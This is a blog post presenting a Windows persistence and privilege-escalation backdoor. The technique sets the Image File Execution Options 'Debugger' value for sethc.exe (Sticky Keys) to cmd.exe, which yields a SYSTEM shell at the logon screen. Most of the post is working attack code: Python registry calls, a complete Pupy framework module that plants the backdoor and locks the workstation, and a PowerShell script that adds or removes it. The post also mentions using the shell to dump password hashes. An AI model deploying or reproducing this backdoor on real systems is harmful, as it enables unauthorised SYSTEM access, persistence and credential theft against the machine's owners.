Revenge of the Sticky Keys - An Exercise In Privilege Escalation and Persistence

in #security6 years ago (edited)


A while back I was messing with the Pupy framework and decided to write a fun module for persistence/privilege escalation. The technique presented in this entry is nothing new, in fact there are far more effective and stealthy methods to use nowadays.. But, it's always fun to mess with frameworks and the Capitals game doesn't start for another thirty (30) minutes.

As a quick side note, a sample powershell script has been included at the end of this entry. The script is extremely simple and adds/removes the registry key.1

Synopsis
This Pupy module enables a user to escalate privileges to 'SYSTEM' and serves as a method of persistence.

Requirements
Admin privileges

Here is what I came up with 


For those of you that don’t know… Windows has this little gem of joy used for accessibility reasons called 'Sticky Keys'. If you’ve ever hit the shift key five times on accident, you’ve likely seen this screen before.The handy feature of 'Sticky Keys' to attackers is that it's accessible during the Windows logon process. As a result, invoking sethc.exe aka "Sticky Keys" during the logon process results a in process running with SYSTEM privileges.The savage way of exploiting this is to:

Replace c:\windows\system32\sethc.exe with

cmd.exe (the command prompt binary)

The problem is… You can’t do this directly without shutting down the machine, using a boot disk, and working around the OS to backdoor it. Ironic.However, as with anything in life, there are several methods to achieving the same end goal. As luck would have it, Windows has a registry key in all versions of windows called “Image File Execution Options.” This particular key enables developers to use debuggers against executables.Why do we care?
This key enables us to execute arbitrary commands when sethc.exe is triggered - without rebooting the machine and without modifying the sethc.exe binary. Using this method, we can successfully escalate privileges and spawn shells as SYSTEM whenever we would like via RDP or physical workstation access.First, we create a new registry key.

createNewKey = CreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe")

Next, we open the key and add a debugger string

registryKey = OpenKey(HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image 

File

Execution Options\sethc.exe", 0, KEY_WRITE)

try:

   SetValueEx(registryKey, "Debugger", 0, REG_SZ, "C:\Windows\System32\cmd.exe")

finally:

   CloseKey(registryKey)

   return True

Very cool, the stage is now set. Let's hit shift 5 times and !!!!

Sad panda. We are greeted with a command prompt but no escalation of privileges has occurred. Let's hop out to the Windows login screen and try one more time.

Voila, we are now greeted with a SYSTEM shell.

Now, just for giggles let's throw together a Pupy powershell one liner, send a SYSTEM shell outbound, and dump some hashes: 


Creating the module
Let's take this process and automate it with a Pupy module. 


stickykeys.py

# -*- coding: utf-8 -*-

# Module Author: ptonewreckin



from pupylib.PupyModule import *

from pupylib.PupyCompleter import *





__class_name__="StickyKeysModule"



@config(cat="persistence", compat=["windows"], tags=["persistence","system","escalation","privilege","sticky","backdoor"])



class StickyKeysModule(PupyModule):

""" Enables persistence via registry keys using the sticky keys backdoor method\n Spawns a SYSTEM shell"""

dependencies = ["pupwinutils.stickykeys"]



def init_argparse(self):

   self.arg_parser = PupyArgumentParser(prog="stickykeys", description=self.__doc__)

   self.arg_parser.add_argument('-r','--registrylocation', help='Use an alternative registry location', completer=path_completer)



def run(self, args):

   if self.client.is_windows():

       self.windows(args)



def windows(self, args):

   self.client.load_package("pupwinutils.stickykeys")

   self.info("Attempting to update registry and add debugger ...")



   if self.client.conn.modules['pupwinutils.stickykeys'].AddRegistryKey("hi","yes","nono"):

       self.info("Registry key successfully added")

       self.success("Hit shift 5 times... :)")

       self.info("Now attempting to lock screen")

       if self.client.conn.modules['ctypes'].windll.user32.LockWorkStation():

           self.success("Screen successfully locked")

       else:

           self.error("Unable to lock the screen")

   else:

       self.error("Failed to implement sticky keys backdoor :(")

pupwinutils/stickykeys.py

# -*- coding: UTF8 -*-

# Module Author: ptonewreckin



from _winreg import *



def AddRegistryKey(registrylocation,keyname,keydata):

print keyname

print registrylocation

print keydata



#randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))])

try:

   try:

       # Attempt to create new sethc.exe key

       # Another method

       # \system32\utilman.exe

       createNewKey = CreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe")

   except Exception:

       # If backdoor has been executed before then step one is unnecessary

       # Would be better to code a check condition by querying registry prior to execution

       pass



   registryKey = OpenKey(HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe", 0, KEY_WRITE)

   try:

       SetValueEx(registryKey, "Debugger", 0, REG_SZ, "C:\Windows\System32\cmd.exe")

   finally:

       CloseKey(registryKey)

       return True

except Exception:

   return False

Equivalent in PowerShell1stickeykeys.ps1

$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\"

$keyName = "sethc.exe"

$stringName = "Debugger"

$binaryValue = "C:\Windows\System32\cmd.exe"



IF (Test-Path ($registryPath + $keyName))

{

   # Sticky Keys backdoor exists.

   write-host "Registry key found. Let's remove it."

   #New-Item -Path $registryPath -Name $keyName | Out-Null

   Remove-Item -Path ($registryPath + $keyName) | Out-Null

   write-host "Sticky Key backdoor has been removed."

}

ELSE {

   # Sticky Keys backdoor does not exist, let's add it.

   write-host "Registry key not found. Attempting to add Sticky Keys backdoor to registry."

   New-Item -Path $registryPath -Name $keyName | Out-Null

   New-ItemProperty -Path ($registryPath + $keyName) -Name $stringName -Value $binaryValue | Out-Null

   write-host "Sticky Keys backdoor added."

}

Registry before modification 


Adding backdoor

Removing backdoor 


References:
I cannot for the life of me recall where I found an article describing the use of debuggers to reference Windows binaries but if it was you please contact me and I'll add credit where due.

Sort:  

Congratulations @ptonewreckin! You have completed the following achievement on Steemit and have been rewarded with new badge(s) :

Award for the number of upvotes received

Click on the badge to view your Board of Honor.
If you no longer want to receive notifications, reply to this comment with the word STOP

Do you like SteemitBoard's project? Then Vote for its witness and get one more award!

Congratulations @ptonewreckin! You received a personal award!

Happy Birthday! - You are on the Steem blockchain for 1 year!

You can view your badges on your Steem Board and compare to others on the Steem Ranking

Vote for @Steemitboard as a witness to get one more award and increased upvotes!